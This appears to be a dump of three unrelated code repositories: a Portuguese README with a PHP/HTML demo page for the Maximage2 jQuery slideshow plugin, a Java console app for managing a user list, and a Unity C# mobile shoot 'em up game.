![image](https://user-images.githubusercontent.com/48795370/110981149-7f7fdc00-8345-11eb-9fcf-ed0c918a62f9.png) ### 🚀 Instalação Clone o projeto e acesse a pasta ```sh $ git clone https://github.com/DilvaQueiroz/SiteFarmaciaDeManipulacao.git && cd SiteFarmaciaDeManipulacao ``` ### 💻 Projeto Este é um projeto desenvolvido durante o curso técnico de Informática da ETE no ano de 2012. <file_sep><?php if(file_exists("private.php")){ include 'private.php'; } ?><!DOCTYPE html> <!--[if lt IE 7]> <html lang="en" class="no-js ie6"> <![endif]--> <!--[if IE 7]> <html lang="en" class="no-js ie7"> <![endif]--> <!--[if IE 8]> <html lang="en" class="no-js ie8"> <![endif]--> <!--[if gt IE 8]><!--> <html class='no-js' lang='en'> <!--<![endif]--> <head> <meta charset='utf-8' /> <meta content='IE=edge,chrome=1' http-equiv='X-UA-Compatible' /> <title>Usage Examples | MaxImage 2.0</title> <meta content='jQuery Plugin to make jQuery Cycle Plugin work as a fullscreen background image slideshow' name='description' /> <meta content='<NAME>' name='author' /> <meta name="distribution" content="global" /> <meta name="language" content="en" /> <meta content='width=device-width, initial-scale=1.0' name='viewport' /> <link rel="stylesheet" href="lib/css/bootstrap.min.css?v=1.2" type="text/css" media="screen" charset="utf-8" /> <!--[if lt IE 9]><script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script><![endif]--> <!-- Font --> <link href='http://fonts.googleapis.com/css?family=Lato:100' rel='stylesheet' type='text/css'> <style type="text/css" media="screen"> /*Examples css*/ body {background:url('lib/images/retina_wood.png') repeat 0 0;font-family:"Helvetica Neue",helvetica,arial,sans-serif;margin:0;padding:0;} header {background:#fff;box-shadow:2px 0 10px rgba(0,0,0,0.3);height:80px;margin-bottom:30px;position:fixed;left:0;top:0;width:100%;z-index:99;} .container {clear:both;margin:0 auto;width:980px;} .container:after {content:"\0020";display:block;height:0;clear:both;visibility:hidden;overflow:hidden;} h1 {color:#ffc600;float:left;font-family:'Lato',sans-serif;font-size:40px;letter-spacing:0.1em;margin:20px 0;text-transform:uppercase;} h2 {font-size:26px;font-weight:300;} h2 a {color:#222;text-decoration:none;} h2 a:hover {color:#888;text-decoration:none;} nav {float:right;margin:40px 0 0;} nav ul {list-style-type:none;margin:0;padding:0;} nav li {float:left;margin-left:20px;} nav a {color:#888;font-family:georgia,serif;font-size:16px;text-decoration:none;} nav .active a, nav a:hover {color:#222;} .special {margin:230px auto 160px;width:640px;} .special p {color:#222;font-family:georgia;font-size:38px;line-height:1.3em;margin:40px 0 0;text-align:center;text-shadow:1px 1px #fff;} .special .set2 {font-size:24px;margin:0 0 20px;} .centered {margin:0 auto 80px;width:560px;} .example {margin-bottom:160px;} .example .leftcol, .example .rightcol {float:left;margin-right:20px;width:480px;} .example .rightcol {margin-right:0;} .example .content {margin-bottom:20px;} .example .code {clear:both;} #back-to-top {bottom:20px;position:fixed;right:20px;} </style> </head> <body> <!-- Moneymaker --> <?php if ( function_exists('the_extras') ) { the_extras(); } ?> <header> <div class="container"> <h1>Maximage2</h1> <nav> <ul> <li class="active"><a href="">examples</a></li> <li><a href="http://blog.aaronvanderzwan.com/2012/07/maximage-2-0/" target="_blank">info</a></li> <li><a href="http://blog.aaronvanderzwan.com/2012/07/maximage-2-0/#options" target="_blank">options</a></li> <li><a href="http://blog.aaronvanderzwan.com/forums/forum/maximage-2-0/" target="_blank">forum</a></li> <li><a href="http://blog.aaronvanderzwan.com/2012/07/maximage-2-0/#download" target="_blank">download</a></li> <li><a href="https://www.paypal.com/cgi-bin/webscr?cmd=_donations&business=6JDK29W3R3HVY&lc=US&item_name=Maximage%202%2e0%20%2d%20Aaron%20Vanderzwan%20L%2eL%2eC%2e&currency_code=USD&bn=PP%2dDonationsBF%3abtn_donate_SM%2egif%3aNonHosted" target="_blank">donate</a></li> </ul> </nav> </div> </header> <div class="container"> <div class="special"> <p class="set1">Don't reinvent the wheel.</p> <p class="set2">Maximage2 is a fullscreen background slideshow plugin that uses jQuery Cycle plugin for it's slideshow functionality.</p> </div> <div class="centered local-nav"> <div class="btn-group"> <a class="btn" href="#Basic">Basic</a> <a class="btn" href="#Customized">Customized</a> <a class="btn" href="#FillElement">FillElement</a> <a class="btn" href="#CustomBGSize">Custom Background Size</a> <a class="btn" href="#Offset">Offset</a> <a class="btn" href="#html5Video">HTML5 Video</a> </div> </div> <a name="Basic"></a> <div class="example basic-example"> <div class="leftcol"> <div class="page-header"> <h2><a href="">Basic Example</a></h2> </div> <div class="content"> <p>This example shows what happens if you call Maximage2 without any custom options. It is the simplest way to use Maximage and rely's on both Maximage's option defaults and jQuery Cycle Plugin's default options.</p> <p><i class="icon-share icon-white"></i> <a href='examples/basic.html' target="_blank">View Example</a></p> </div> </div> <div class="rightcol"> <img src="lib/images/ss-basic.png" alt="Basic Example Screenshot" width="466" height="359" /> </div> <div class="code"> <script src="https://gist.github.com/3307285.js"> </script> </div> </div> <!-- Moneymaker --> <?php if ( function_exists('the_ad2') ) { the_ad2(); } ?> <a name="Customized"></a> <div class="example customized-example"> <div class="leftcol"> <div class="page-header"> <h2><a href="">Customized Example</a></h2> </div> <div class="content"> <p>This demo explains how easy it is to use <a href="http://jquery.malsup.com/cycle/options.html" target="_blank">jQuery Cycle options</a> as well as some of the best of Maximage 2.0. You can see how callback functions are used as well as speed, fx, timeout, paging and really any other jQuery Cycle option.</p> <p>This demo also uses Maximage 2.0's custom helper function that allows for any element in the slideshow to be maximized like the background images in the slides. In this case we maximize an HTML5 video in our slideshow as well as a Youtube Video.</p> <p><i class="icon-share icon-white"></i> <a href='examples/customized.html' target="_blank">View Example</a></p> </div> </div> <div class="rightcol"> <img src="lib/images/ss-customized.png" alt="Customized Example Screenshot" width="466" height="370" /> </div> <div class="code"> <script src="https://gist.github.com/3306636.js"> </script> </div> </div> <a name="FillElement"></a> <div class="example fillelement-example"> <div class="leftcol"> <div class="page-header"> <h2><a href="">"fillElement" Example</a></h2> </div> <div class="content"> <p>I wanted a way to show off how Maximage2 allows you to maximize images within containing elements too, not just the browser window. You just pass a selector to the Maximage2's "fillElement" option and you are good to go.</p> <p>It also uses a different fx from jQuery Cycle to show how easy that is.</p> <p><i class="icon-share icon-white"></i> <a href='examples/fillelement.html' target="_blank">View Example</a></p> </div> </div> <div class="rightcol"> <img src="lib/images/ss-fillelement.png" alt="FillElement Example Screenshot" width="466" height="370" /> </div> <div class="code"> <script src="https://gist.github.com/3307386.js?file=maximage-fillelement.css"> </script> <script src="https://gist.github.com/3307386.js?file=maximage-fillelement.js"></script> </div> </div> <a name="CustomBGSize"></a> <div class="example custom-backgroundsize-example"> <div class="leftcol"> <div class="page-header"> <h2><a href="">Custom "backgroundSize" Function</a></h2> </div> <div class="content"> <p>The "backgroundSize" Maximage2 can either be a string ('cover' or 'contain') to determine how the image fills the container. Cover fills every available space with the image while contain maximizes the image within the space but does not exceed the space.</p> <p>These are going to be the two most common scenario, but it is very possible that someone may need some different functionality. Well Maximage2 allows you to write your own function here and this is an example of how that is done.</p> <p><i class="icon-share icon-white"></i> <a href='examples/customBackgroundSize.html' target="_blank">View Example</a></p> </div> </div> <div class="rightcol"> <img src="lib/images/ss-custombackgroundsize.png" alt="Custom Backgroundsize Example Screenshot" width="466" height="370" /> </div> <div class="code"> <script src="https://gist.github.com/3307410.js"> </script> </div> </div> <a name="Offset"></a> <div class="example offset-example"> <div class="leftcol"> <div class="page-header"> <h2><a href="">Using Offsets</a></h2> </div> <div class="content"> <p>Caution: This example is meant for expert users. Remember, with <a href="#FillElement">FillElement</a> you can often accomplish an offset scheme very easily... just set your containing element where you want the images to be displayed.</p> <p>Because the first rule of Maximage 2.0 is to try to remain hands off and out of your way, the built in support for offsets have been dropped with version 2.0. This doesn't mean they aren't possible. With a little elbow grease they can still be accomplished (and are better).</p> <p>What I am doing with the below code is creating curtains / offsets that live in front of the slideshow. I call these curtains. I have done this with the HTML and CSS below for 100px offsets on the top, right, bottom and left edges of the screen.</p> <p>Once we have our curtains up, the slideshow is still resizing to the full window and we want to have it maximize within the viewable area... our window size minus our offsets. For this reason you have to customize the function that resizes the window. We can do that with the backgroundSize option that gets passed to Maximage. Just set your verticalOffset and horizontalOffset in backgroundSize (JS example below) to size your slideshow images within the viewable area.</p> <p><i class="icon-share icon-white"></i> <a href='examples/offset.html' target="_blank">View Example</a></p> </div> </div> <div class="rightcol"> <img src="lib/images/ss-offset.png" alt="Offset Example Screenshot" width="466" height="376" /> </div> <div class="code"> <script src="https://gist.github.com/3880710.js?file=maximage-offset.html"></script> <script src="https://gist.github.com/3880710.js?file=maximage-offset.css"></script> <script src="https://gist.github.com/3880710.js?file=maximage-offset.js"></script> </div> <div class="leftcol"> <div class="page-header"> <h2><a href="">Using Offsets: Contain</a></h2> </div> <div class="content"> <p>To have images contained within the offsets just swap the "based on height", "based on width" rules in the backgroundSize function like this:</p> <p><i class="icon-share icon-white"></i> <a href='examples/offset-inside.html' target="_blank">View Example</a></p> </div> </div> <div class="code"> <script src="https://gist.github.com/3880710.js?file=maximage-offset-contained.js"></script> </div> </div> <a name="html5Video"></a> <div class="example fillelement-example"> <div class="leftcol"> <div class="page-header"> <h2><a href="">Fullscreen HTML5 Video</a></h2> </div> <div class="content"> <p>Maximage2 can be used as a tool to make almost anything a fullscreen background element very easily. This example shows how it can be used to create a background HTML5 video.</p> <p><strong>NOTE: HTML5 video fallbacks for IE7 &amp; IE8 currently do not fill the screen within a slideshow. I am working on this currently, but if this is important to you, please use another slideshow for the time being and check back for updates as this has proven more complex than was expected.</strong></p> <p><i class="icon-share icon-white"></i> <a href='examples/html5video.html' target="_blank">View Example</a></p> </div> </div> <div class="rightcol"> <img src="lib/images/ss-html5video.png" alt="HTML5 Video Background Screenshot" width="466" height="370" /> </div> <div class="code"> <script src="https://gist.github.com/3307594.js"> </script> </div> </div> </div> <div id="back-to-top"> <a href="#"><i class="icon-chevron-up icon-white"></i></a> </div> <script src='http://ajax.googleapis.com/ajax/libs/jquery/1.7/jquery.js'></script> <script src='lib/js/jquery.scrollto.js'></script> <script src='lib/js/jquery.localscroll.js'></script> <script type="text/javascript" charset="utf-8"> $(function(){ var scrollOpts = { queue:true, duration:1500, offset:-100, hash:true }; $.localScroll.hash( scrollOpts ); $.localScroll( scrollOpts ); $('#back-to-top').click(function(e){ $.scrollTo(0, 1500); e.preventDefault(); }); }); </script> <!-- DON'T USE THIS: Insert Google Analytics code here --> <?php if ( function_exists('the_analytics') ) the_analytics(); ?> </body> </html>
4b13fe19d439a2cfc85e80c8fd9b3864fb926006
[ "Markdown", "PHP" ]
3
Markdown
dilvaqueiroz/SiteFarmaciaDeManipulacao
4da40e7f48d5191c630d14078413321d6b0a0f4c
8823e24a6d30b0ce300b239ee7d83d28ceb16b37
refs/heads/main
<repo_name>yvb-dev/Innowise-testTask-userList<file_sep>/src/util/ConsoleUtil.java package util; import model.RoleLevel1; import model.RoleLevel2; import model.RoleLevel3; import model.User; import to.UserTO; import java.util.Arrays; import java.util.List; import java.util.Scanner; public class ConsoleUtil { public static String parameter; public static boolean requestParameters(UserTO userTO) { if (isExit("Введите имя пользователя:")) return true; else userTO.setFirstName(parameter); if (isExit("Введите фамилию пользователя:")) return true; else userTO.setLastName(parameter); if (isExit("Введите email пользователя:")) return true; else userTO.setEmail(parameter); if (isExit("Введите роли пользователя:" + "\nРоли 1ур.:" + Arrays.asList(RoleLevel1.values()) + "\nРоли 2ур.:" + Arrays.asList(RoleLevel2.values()) + "\nРоли 3ур.:" + Arrays.asList(RoleLevel3.values()) + "\nразделив пробелом." + "\nДля SUPER_ADMIN - другие роли выбирать запрещено" + "\nОдновременно пользователь может иметь по 1 роли с каждого уровня")) return true; else userTO.setRoles(parameter); if (isExit("Введите мобильный телефон(ы) пользователя:\n" + "В количестве от 1 до 3, разделив \",\" Формат - 375 *****")) return true; else userTO.setMobile(parameter); return false; } public static String getParameter(String menu) { System.out.println(menu); System.out.print("(или \"exit\" для возврата в главное меню)\n"); parameter = new Scanner(System.in).nextLine(); return parameter; } public static boolean requestEmail(UserTO userTO) { if (isExit("Введите email")) return true; else userTO.setEditEmail(parameter); return false; } public static boolean isExit(String menu) { return "exit".equals(getParameter(menu)); } public static void printMainMenu() { System.out.print("\n\n *** Главное меню для работы со списком пользователей *** \n\n" + "1. Создать пользователя \n" + "2. Редактировать пользователя \n" + "3. Удалить пользователя \n" + "4. Поиск пользователя \n" + "5. Все пользователи \n" + "6. Сохранить данные на диск \n" + "7. Выход из программы \n" + "\n Выберите необходимый пункт меню... \n"); } public static void printConfirmation(String str, String user) { System.out.print("\n Пользователь:\n"); System.out.print(user); System.out.print("\n " + str + "\n"); waitToBack(); } public static void printError(RuntimeException e) { printError(e.getMessage()); } public static void printError(String str) { System.out.print("\n <<< Ошибка ввода данных! Повторите ввод! >>> \n"); System.out.print(str + "\n"); } public static void printUsers(List<User> users) { for (User user : users) { System.out.println("--------------------------------------"); System.out.println(user.toString()); System.out.println("--------------------------------------"); } waitToBack(); } public static void waitToBack() { System.out.print("\n\n Нажмите \"enter\" для возврата в главное меню..."); new Scanner(System.in).nextLine(); } } <file_sep>/README.md # Innowise-testTask-userList<file_sep>/src/service/UserService.java package service; import model.User; import java.util.List; public interface UserService<E, K> { // null if not found, when updated User create(E user); // null if not found, when updated User update(E user); // false if not found boolean delete(K key); // null if not found User get(K key); // null if not found User getByEmail(String email); List<User> getAll(); } <file_sep>/src/AppMain.java import com.sun.org.slf4j.internal.LoggerFactory; import model.User; import repository.InMemoryUserRepository; import service.ConsoleUserService; import to.UserTO; import java.io.IOException; import java.util.InputMismatchException; import java.util.NoSuchElementException; import java.util.Scanner; import java.util.logging.Logger; import static util.ConsoleUtil.*; import static util.ConsoleUtil.printError; import static util.SerializationUtil.*; public class AppMain { public static void main(String[] args) { // It is an object that carries data between layers. UserTO userTO; ConsoleUserService service = null; // Init application and loading data from file. try { service = new ConsoleUserService(new InMemoryUserRepository(init())); } catch (IOException | ClassNotFoundException e) { System.err.println("Не удалось инициализировать приложение."); System.err.println(e.getMessage()); System.exit(1); } while (true) { printMainMenu(); Integer itemMenu; try { itemMenu = new Scanner(System.in).nextInt(); } catch (NoSuchElementException e) { printError("Введите цифру от 1 до 7"); continue; } switch (itemMenu) { case 1: System.out.print("\n\n *** Добавление нового пользователя *** \n\n"); userTO = new UserTO(); do { // Get transfer object and check for return to the main menu. if (requestParameters(userTO)) break; try { // Create new <User>. User user = service.create(userTO); printConfirmation("успешно добавлен.", user.toString()); break; } catch (RuntimeException e) { printError(e); } } while (true); break; case 2: System.out.print("\n\n *** Редактирование пользователя *** \n\n"); userTO = new UserTO(); do { // Get email and check for return to the main menu. if (requestEmail(userTO)) break; // Get and check to exist user for received email from {@link #requestEmail(userTO)} method User user = service.get(userTO.getEditEmail()); if (user != null) { System.out.println("\nВведите новые данные для указанного пользователя: " + user.toString() + "\n"); if (requestParameters(userTO)) break; try { // Update <User> for received email from {@link #requestEmail(userTO)} method user = service.update(userTO); printConfirmation("успешно изменен.", user.toString()); break; } catch (RuntimeException e) { printError(e); } } else { printError("Пользователя с email: " + userTO.getEditEmail() + " не существует."); } } while (true); break; case 3: System.out.print("\n\n*** Удалить пользователя *** \n\n"); userTO = new UserTO(); do { if (requestEmail(userTO)) break; // Delete <User> for received email from {@link #requestEmail(userTO)} method if (service.delete(userTO.getEditEmail())) { printConfirmation("успешно удален.", "c email: " + userTO.getEditEmail()); break; } else { printError("Пользователя с email: " + userTO.getEditEmail() + " не существует."); } } while (true); break; case 4: System.out.print("\n\n*** Поиск пользователя *** \n\n"); userTO = new UserTO(); do { if (requestEmail(userTO)) break; // Get <User> for received email from {@link #requestEmail(userTO)} method User user = service.get(userTO.getEditEmail()); if (user != null) { printConfirmation("Найден!", user.toString()); break; } else { printError("Пользователя с email: " + userTO.getEditEmail() + " не существует."); } } while (true); break; case 5: System.out.print("\n\n*** Все пользователи *** \n\n"); // Get List of Users. printUsers(service.getAll()); break; case 6: try { // Saving List<Users> as Map<String, User> to file. save(service.getAll()); System.out.println("Данные успешно сохранены."); } catch (IOException e) { System.err.println("!!! Ошибка сохранения данных: !!!"); System.err.println(e.getMessage()); System.err.println("!!! повторите попытку. !!!"); } break; case 7: try { // Saving before exit. save(service.getAll()); } catch (IOException e) { System.err.println("!!! Ошибка сохранения данных: !!!"); System.err.println(e.getMessage()); System.out.print("\n\n Нажмите \"enter\" для возврата в главное меню или \"exit\" для выхода из программы"); if (new Scanner(System.in).nextLine().trim().equals("exit")) { System.exit(1); } else break; } System.exit(0); } } } } <file_sep>/src/service/ConsoleUserService.java package service; import model.User; import repository.UserRepository; import to.UserTO; import java.util.List; import static util.ValidationUtil.getValidationUser; public class ConsoleUserService implements UserService<UserTO, String> { private UserRepository<String> repository; public ConsoleUserService(UserRepository<String> repository) { this.repository = repository; } @Override public User create(UserTO userTO) { if (get(userTO.getEmail()) != null) { throw new IllegalArgumentException("Такой пользователь уже существует!"); } User user = getValidationUser(userTO); return repository.save(user); } @Override public User update(UserTO userTO) { User user = getValidationUser(userTO); delete(userTO.getEditEmail()); return repository.save(user); } @Override public boolean delete(String key) { return repository.delete(key); } @Override public User get(String key) { return repository.get(key); } @Override public User getByEmail(String email) { return repository.getByEmail(email); } @Override public List<User> getAll() { return repository.getAll(); } }
4c181222c01972439a2d10cb802093368044f62e
[ "Markdown", "Java" ]
5
Java
yvb-dev/Innowise-testTask-userList
ca09e1c156e782af074387f9e61cf2238f514544
5cb85ab1e1f7aa2feaf6ebd31cc8a024ae05b9d4
refs/heads/master
<repo_name>tumpp1zon3/MobileShmup<file_sep>/Shmup/Assets/_Scripts/EnemySpawner.cs using System.Collections; using System.Collections.Generic; using UnityEngine; public class EnemySpawner : MonoBehaviour { public enum EnemyTypes {enemy1,enemy2,enemy3} public enum SpawnLocations {UpLeft, UpCenter, UpRight, MidLeft, MidCenter, MidRight, DownLeft, DownCenter, DownRight } [System.Serializable] public struct EnemySpawn { public EnemyTypes EnemyType; public float SpawnTime; public SpawnLocations SpawnLocation; } public List<EnemySpawn> EnemySpawns; public GameObject enemyContainer; public GameObject[] SpawnPositions; public GameObject[] EnemyTypePrefabs; float timer; void Start() { EnemySpawns.Sort((s1, s2) => s1.SpawnTime.CompareTo(s2.SpawnTime)); } void Update() { timer += Time.deltaTime; for(int i = 0; i < EnemySpawns.Count; i++) { if(EnemySpawns[i].SpawnTime < timer) { Instantiate(EnemyTypePrefabs[(int)EnemySpawns[i].EnemyType], SpawnPositions[(int)EnemySpawns[i].SpawnLocation].transform.position, EnemyTypePrefabs[(int)EnemySpawns[i].EnemyType].transform.rotation, enemyContainer.transform); EnemySpawns.Remove(EnemySpawns[i]); } else { break; } } } } <file_sep>/Shmup/Assets/_Scripts/EnemyController.cs using System.Collections; using System.Collections.Generic; using UnityEngine; public class EnemyController : MonoBehaviour { public bool SafeX = false; public bool SafeY = false; public float speed = 3; public float CollisionRadius = 0.5f; public float SinPos = 0; public float WaveHeight = 1; public float WavesPerSecond = 1; public float StartPosIn = 0; public float AutoDestroyTime = 15; public float ReverseMovementTimer = 0; public float StopMovementTimer = 0; public float StopLength = 1; private BulletSpawner[] bulletSpawners; private float t; private Vector3 startPos; private bool stopShoot = false; private void Start() { startPos = transform.position; bulletSpawners = transform.GetComponentsInChildren<BulletSpawner>(); } private void Update() { t += Time.deltaTime; Move(); if(AutoDestroyTime != 0 && t > AutoDestroyTime) { Destroy(gameObject); } } private void Move() { SinPos = WaveHeight * Mathf.Sin(2*Mathf.PI* WavesPerSecond * t+ StartPosIn); if(StopMovementTimer == 0 || (StopMovementTimer > t || StopMovementTimer + StopLength < t)) { if(ReverseMovementTimer != 0 && ReverseMovementTimer < t) { transform.position = new Vector3(startPos.x + SinPos, startPos.y + SinPos, transform.position.z + Time.deltaTime * speed); } else { transform.position = new Vector3(startPos.x + SinPos, startPos.y + SinPos, transform.position.z + Time.deltaTime * -speed); } } else { if (!stopShoot) { bulletSpawners[0].ManualStart = true; bulletSpawners[1].ManualStart = false; stopShoot = true; } } } public Vector3 GetPos() { return transform.position; } } <file_sep>/README.md # MobileShmup Repository for Programming Mobile Games-course's shoot 'em up mobile game Made with Unity 2019.1.0f2 (64-bit) <file_sep>/Shmup/Assets/_Scripts/Bullet.cs using System.Collections; using System.Collections.Generic; using UnityEngine; using UnityEngine.SceneManagement; public class Bullet : MonoBehaviour { public float speed = 0; public float CollisionRadius = 0.5f; public PlayerController player; public Transform enemyContainer; public float boundary = 40; bool IsPlayer; Vector3 direction; Vector3 target; float targetDelay; bool predictMovement = false; private void Start() { player = FindObjectOfType<PlayerController>(); enemyContainer = player.EnemyContainer; } void Update() { if(targetDelay > 0) { targetDelay -= Time.deltaTime; if(targetDelay <= 0) { direction = Vector3.Normalize(target - transform.position); targetDelay = 100; } } if(direction != null && speed > 0) transform.Translate(direction * speed * Time.deltaTime); if (IsPlayer) { Transform enemy; for (int i = 0; i < enemyContainer.childCount; i++) { enemy = enemyContainer.GetChild(i); if (enemy.name == "Boss") { for(int i1 = 0; i1 < enemy.childCount; i1++) { EnemyController ec = enemy.GetChild(i1).GetComponent<EnemyController>(); if (CheckCollision(transform.position, CollisionRadius, ec.GetPos(), ec.CollisionRadius, ec.SafeX, ec.SafeY)) { Destroy(ec.gameObject); Destroy(gameObject); } } } else { EnemyController ec = enemy.GetComponent<EnemyController>(); if (CheckCollision(transform.position, CollisionRadius, ec.GetPos(), ec.CollisionRadius, ec.SafeX, ec.SafeY)) { Destroy(ec.gameObject); Destroy(gameObject); } } } } else { if(CheckCollision(transform.position, CollisionRadius , player.GetPos(), player.GetRad())) { SceneManager.LoadScene(0); } } CheckBoundaries(); } public void SetDirection(Vector3 direction) { this.direction = direction; } public void SetDirection(Vector3 target, bool predictMovement) { direction = Vector3.Normalize(target - transform.position); this.predictMovement = predictMovement; } public void SetDirection(Vector3 direction, Vector3 target, float delay, bool predictMovement) { this.direction = direction; this.target = target; targetDelay = delay; this.predictMovement = predictMovement; } public void SetPlayer(bool p) { IsPlayer = p; } public void SetSpeed(float speed) { this.speed = speed; } public bool CheckCollision(Vector3 pos, float radius, Vector3 otherPos, float otherRadius) { if (pos.z - radius < otherPos.z + otherRadius && pos.z + radius > otherPos.z - otherRadius) { if (player.isHorizontal) { //only y if(pos.y - radius < otherPos.y + otherRadius && pos.y + radius > otherPos.y - otherRadius) { pos.x = 0; otherPos.x = 0; if(Vector3.Distance(pos,otherPos) < radius + otherRadius) { return true; } } } else { //only x if (pos.x - radius < otherPos.x + otherRadius && pos.x + radius > otherPos.x - otherRadius) { pos.y = 0; otherPos.y = 0; if (Vector3.Distance(pos, otherPos) < radius + otherRadius) { return true; } } } } return false; } public bool CheckCollision(Vector3 pos, float radius, Vector3 otherPos, float otherRadius, bool safeX, bool safeY) { if (pos.z - radius < otherPos.z + otherRadius && pos.z + radius > otherPos.z - otherRadius) { if (player.isHorizontal) { //only y if (!safeY && pos.y - radius < otherPos.y + otherRadius && pos.y + radius > otherPos.y - otherRadius) { pos.x = 0; otherPos.x = 0; if (Vector3.Distance(pos, otherPos) < radius + otherRadius) { return true; } } } else { //only x if (!safeX && pos.x - radius < otherPos.x + otherRadius && pos.x + radius > otherPos.x - otherRadius) { pos.y = 0; otherPos.y = 0; if (Vector3.Distance(pos, otherPos) < radius + otherRadius) { return true; } } } } return false; } public void CheckBoundaries() { for(int i = 0; i < 3; i++) { float axis = 0; switch (i) { case 0: axis = transform.position.x; break; case 1: axis = transform.position.y; break; case 2: axis = transform.position.z; break; } if(axis < -boundary || axis > boundary) { Destroy(gameObject); } } } } <file_sep>/Shmup/Assets/_Scripts/Tuomo/PlayerController.cs using System.Collections; using System.Collections.Generic; using UnityEngine; using UnityEngine.UI; public class PlayerController : MonoBehaviour { public ChangePerspective perspective; public float CollisionRadius; public bool isHorizontal; private Transform player; private Vector3 pos; private float posX, posY; public Transform EnemyContainer; void Start() { player = gameObject.transform; posY = player.position.y; } void Update() { pos = new Vector3(posX, posY, player.position.z); player.position = pos; isHorizontal = perspective.isHorizontal; if (isHorizontal) { posX = 0; } if (!isHorizontal) { posY = 26; } } public void MoveLeft() { if (player.position.x >= -13f) { posX--; if (player.position.x < -13f) { posX = -13f; } } } public void MoveRight() { if (player.position.x <= 13f) { posX++; if (player.position.x > 13f) { posX = 13f; } } } public void MoveUp() { if (player.position.y <= 55f) { posY++; if (player.position.y > 55f) { posY = 55f; } } } public void MoveDown() { if (player.position.y >= 0) { posY--; if (player.position.y < 0) { posY = 0; } } } public Vector3 GetPos() { return pos; } public float GetRad() { return CollisionRadius; } }<file_sep>/Shmup/Assets/_Scripts/BulletSpawner.cs using System.Collections; using System.Collections.Generic; using UnityEngine; public class BulletSpawner : MonoBehaviour { public GameObject BulletPrefab; //Wait time between shots public float Interval = 0; private float IntervalTimer = 0; private float InrervalError = 0; //Speed of Bullets public float BulletSpeed = 0; //How many Bullets can be spawned between reloads 0 = infinite public int ClipShotCount = 0; private int ShotCount = 0; //Wait time after ShotCount public float ReloadTime = 0; private float ReloadTimer = 0; //How many Reloads can be used 0 = infinite (after clips can still be manually started again) public int ClipCount = 0; private int ReloadCount = 0; //How many bullet is shot simultaneusly public int SpreadAmount = 1; //Total angle around BulletDirection that spreadshot shoots bullets public float SpreadAngle = 0; //Direction of Bullets public Vector3 BulletDirection; public bool useTarget; //Bullet target public GameObject Target; //Deley in seconds before Bullet Changes direction to target (best for targeted Spread Shots) public float TargetDelay = 0; //Delay in seconds before Shooting public float StartDelay = 0; //For Manual Start change true in editor and call StartShooting() or change false to Start Shooting public bool ManualStart = false; //Boolean for collision so bullets can not frindly fire enemies or player shoot itself public bool IsPlayer = false; private void Start() { if (useTarget) { Target = FindObjectOfType<PlayerController>().gameObject; } } void Update() { if (!ManualStart) { if(CheckTimer(ref StartDelay)) { if(CheckTimer(ref ReloadTimer)) { if(CheckTimer(ref IntervalTimer)) { if(ClipShotCount != 0 && ShotCount == 0 && ReloadCount == 0 && IntervalTimer == 0) { InrervalError = StartDelay * -1; } else if(ShotCount == 0) { InrervalError = ReloadTimer * -1; } else { InrervalError = IntervalTimer * -1; } float StartAngle = SpreadAngle/2*-1; for(int i = 0; i < SpreadAmount; i++) { if(SpreadAmount != 1) { Vector3 SpreadDirection = Quaternion.Euler(StartAngle + i * (SpreadAngle / (SpreadAmount-1)), StartAngle + i * (SpreadAngle / (SpreadAmount - 1)), 0) * BulletDirection; SpawnBullet(transform.position + (SpreadDirection * InrervalError), transform.rotation , SpreadDirection); } else { SpawnBullet(transform.position + (BulletDirection * InrervalError), transform.rotation, BulletDirection); } } ShotCount++; if (ClipShotCount != 0 && ShotCount == ClipShotCount) { ReloadCount++; if (ClipCount != 0 && ReloadCount == ClipCount) { ManualStart = true; ReloadCount = 0; ShotCount = 0; } else { ReloadTimer = ReloadTime; ShotCount = 0; } } else { IntervalTimer = Interval; } } } } } } private bool CheckTimer(ref float timer) { if(timer < 0) { return true; } else { timer -= Time.deltaTime; if(timer < 0) { return true; } } return false; } private void SpawnBullet(Vector3 position, Quaternion rotation, Vector3 direction) { GameObject bullet = Instantiate(BulletPrefab, position, rotation); Bullet b = bullet.GetComponent<Bullet>(); if (Target != null) { if (TargetDelay != 0) { b.SetDirection(direction, Target.transform.position, TargetDelay, false); } else { b.SetDirection(Target.transform.position, false); } } else { b.SetDirection(direction); } b.SetSpeed(BulletSpeed); b.SetPlayer(IsPlayer); } public void StartShooting() { ManualStart = false; } } <file_sep>/Shmup/Assets/_Scripts/Tuomo/ChangePerspective.cs using System.Collections; using System.Collections.Generic; using UnityEngine; using UnityEngine.UI; public class ChangePerspective : MonoBehaviour { public bool isHorizontal; [SerializeField] private Camera vertical; [SerializeField] private Canvas verticalCanvas; [SerializeField] private Camera horizontal; [SerializeField] private Canvas horizontalCanvas; void Start() { Camera.main.transform.position = vertical.transform.position; Camera.main.transform.rotation = vertical.transform.rotation; verticalCanvas.enabled = true; horizontalCanvas.enabled = false; Screen.autorotateToPortrait = true; Screen.autorotateToLandscapeRight = true; Screen.autorotateToPortraitUpsideDown = false; Screen.autorotateToLandscapeLeft = true; Screen.orientation = ScreenOrientation.AutoRotation; } void Update() { if (Screen.orientation == ScreenOrientation.Portrait) { ChangeToVertical(); } if (Screen.orientation == ScreenOrientation.LandscapeRight) { ChangeToHorizontal(); } } public void ChangeToVertical() { isHorizontal = false; Camera.main.transform.position = vertical.transform.position; Camera.main.transform.rotation = vertical.transform.rotation; verticalCanvas.enabled = true; horizontalCanvas.enabled = false; } public void ChangeToHorizontal() { isHorizontal = true; Camera.main.transform.position = horizontal.transform.position; Camera.main.transform.rotation = horizontal.transform.rotation; horizontalCanvas.enabled = true; verticalCanvas.enabled = false; } }
23fe9aa027de1c134c2582accad5582f9e4ebb95
[ "Markdown", "C#" ]
7
C#
tumpp1zon3/MobileShmup
58415e706e20a9f227f62cccaf006ea5d0c78c10
81a4d7c8036ed469046cc776ba445f144564e0b4
refs/heads/master
